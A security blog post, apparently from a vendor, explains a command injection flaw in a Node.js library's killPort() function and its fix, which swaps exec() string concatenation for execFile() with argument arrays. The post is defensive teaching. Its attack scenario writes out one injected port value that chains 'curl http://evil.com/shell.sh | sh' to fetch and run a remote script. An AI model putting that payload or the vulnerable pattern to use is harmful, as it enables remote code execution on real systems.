How javascript.lang.security.detect-child-process.detect-child-process happens in Node.js and how to fix it

Introduction

The src/platform.js file in this Node.js library handles cross-platform system operations, including a killPort() function designed to terminate processes listening on a specific TCP port. However, a critical flaw at lines 89-97 created a command injection vulnerability: the function concatenated the port parameter directly into shell command strings passed to exec().

Consider this vulnerable pattern from the original code:

return exec('netstat -ano -p tcp | findstr LISTENING | findstr :' + p, (err, stdout) => {

The p variable (derived from the port function argument) is concatenated directly into a shell command. Since exec() spawns a shell to interpret the command string, an attacker who controls the port value could inject arbitrary shell commands.

This matters because this is a Node.js library—vulnerabilities here propagate to every downstream application that depends on it. If any consumer passes user-controllable input to killPort(), they inherit this command injection risk.

The Vulnerability Explained

The killPort() function used Node.js's exec() function, which spawns a shell (/bin/sh on Unix, cmd.exe on Windows) to interpret command strings. This is fundamentally different from execFile(), which executes a binary directly without shell interpretation.

Here's the vulnerable code on Windows:

return exec('netstat -ano -p tcp | findstr LISTENING | findstr :' + p, (err, stdout) => {
  // ...
  exec([...pids].map(id => 'taskkill /PID ' + id + ' /T /F').join(' & '), () => cb(null));
});

And on Unix/macOS:

return exec('lsof -nti tcp:' + p + ' | xargs kill 2>/dev/null', () => cb(null));

Attack Scenario

Imagine a web application using this library to manage development servers:

app.post('/kill-server', (req, res) => {
  killPort(req.body.port, (err) => {
    res.json({ success: !err });
  });
});

An attacker could send:

{ "port": "8080; curl http://evil.com/shell.sh | sh" }

On Unix, this would execute:

lsof -nti tcp:8080; curl http://evil.com/shell.sh | sh | xargs kill 2>/dev/null

The shell interprets ; as a command separator, executing the attacker's payload. On Windows, similar injection is possible using & or | characters.

Real-World Impact

For this library specifically:
- Development tools: If used in CLI tools or development servers, local command execution could compromise developer machines
- CI/CD systems: Build systems using this library could be hijacked to inject malicious code into releases
- Server management: Any server-side use with user input could lead to full system compromise

The Fix

The fix replaces all exec() calls with execFile() and restructures the command execution to use argument arrays instead of string concatenation.

Before (Vulnerable)

const { execFile, exec } = require('child_process');

// Windows
return exec('netstat -ano -p tcp | findstr LISTENING | findstr :' + p, (err, stdout) => {
  // ...
  exec([...pids].map(id => 'taskkill /PID ' + id + ' /T /F').join(' & '), () => cb(null));
});

// Unix
return exec('lsof -nti tcp:' + p + ' | xargs kill 2>/dev/null', () => cb(null));

After (Fixed)

const { execFile } = require('child_process');

// Windows - no shell, arguments as array
return execFile('netstat', ['-ano', '-p', 'tcp'], (err, stdout) => {
  const pids = new Set(String(stdout || '').trim().split(/\r?\n/)
    .filter(l => /LISTENING/.test(l) && l.includes(':' + p + ' '))
    .map(l => l.trim().split(/\s+/).pop())
    .filter(x => /^\d+$/.test(x) && x !== '0'));
  if (!pids.size) return cb(null);
  execFile('taskkill', ['/T', '/F', ...[...pids].flatMap(id => ['/PID', id])], () => cb(null));
});

// Unix - separate execFile calls, no shell piping
return execFile('lsof', ['-nti', 'tcp:' + p], (err, stdout) => {
  const pids = String(stdout || '').trim().split(/\r?\n/).filter(Boolean);
  if (!pids.length) return cb(null);
  execFile('kill', pids, () => cb(null));
});

Key Changes Explained

1. Removed exec import: The fix removes exec from the imports entirely, ensuring it can't be accidentally used elsewhere in the file.

2. Shell piping eliminated: The original used shell pipes (|) and redirects (2>/dev/null). The fix handles filtering in JavaScript instead:
   - findstr LISTENING | findstr : becomes .filter(l => /LISTENING/.test(l) && l.includes(':' + p + ' '))
   - xargs kill becomes a separate execFile('kill', pids) call

3. Arguments as arrays: Instead of 'taskkill /PID ' + id, the fix uses ['/PID', id]. Even if id contained shell metacharacters, they'd be treated as literal strings.

4. Port filtering moved to JavaScript: The port value is now only used in a JavaScript string comparison (l.includes(':' + p + ' ')), never in a shell context.

Prevention & Best Practices

Avoid exec() When Possible

The child_process module offers safer alternatives:

*spawn() can use shell with { shell: true } option—avoid this with untrusted input.

Input Validation as Defense-in-Depth

The fix also includes early validation:

const p = parseInt(port, 10);
if (!p) return cb(new Error('bad port'));

While execFile() prevents injection, validating that port is actually a number adds another safety layer.

Static Analysis Integration

Use tools like Semgrep to catch these patterns:

rules:
  - id: detect-child-process-exec
    patterns:
      - pattern-either:
          - pattern: exec($ARG, ...)
          - pattern: exec(`...${$VAR}...`, ...)
    message: "Avoid exec() with dynamic input"
    severity: ERROR

Key Takeaways

• The killPort() function's use of exec() with string concatenation created a command injection vector that could be exploited if any downstream consumer passed user-controllable input
• Replacing exec() with execFile() eliminates shell interpretation entirely, making shell metacharacter injection impossible regardless of input
• Shell piping operations must be reimplemented in application code when switching to execFile()—the fix shows how to replace findstr piping with JavaScript filtering
• Library authors bear extra responsibility since their vulnerabilities propagate to all consumers
• The parseInt() validation on line 85 provides defense-in-depth but is not sufficient alone—structural safety (execFile()) is essential

How Orbis AppSec Detected This

• Source: The port parameter passed to the killPort() function at line 83
• Sink: exec() calls at lines 89, 93, and 96 where port was concatenated into shell command strings
• Missing control: No shell-safe execution method; user input was passed directly to shell interpretation without sanitization
• CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
• Fix: Replaced all exec() calls with execFile() and restructured commands to pass arguments as arrays instead of concatenated strings

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This vulnerability demonstrates why exec() should be avoided in favor of execFile() when working with Node.js's child_process module. The convenience of shell command strings comes with significant security risks—any user-controllable input can become an injection vector.

The fix shows a complete pattern for migrating from exec() to execFile(): remove shell piping by handling filtering in JavaScript, pass arguments as arrays, and validate input as defense-in-depth. For library authors especially, these defensive patterns protect not just your code but every application that depends on it.

References

• CWE-78: Improper Neutralization of Special Elements used in an OS Command
• OWASP Command Injection Defense Cheat Sheet
• Node.js child_process Documentation
• Semgrep Rules for child_process
• harden: sanitize child_process call in platform.js...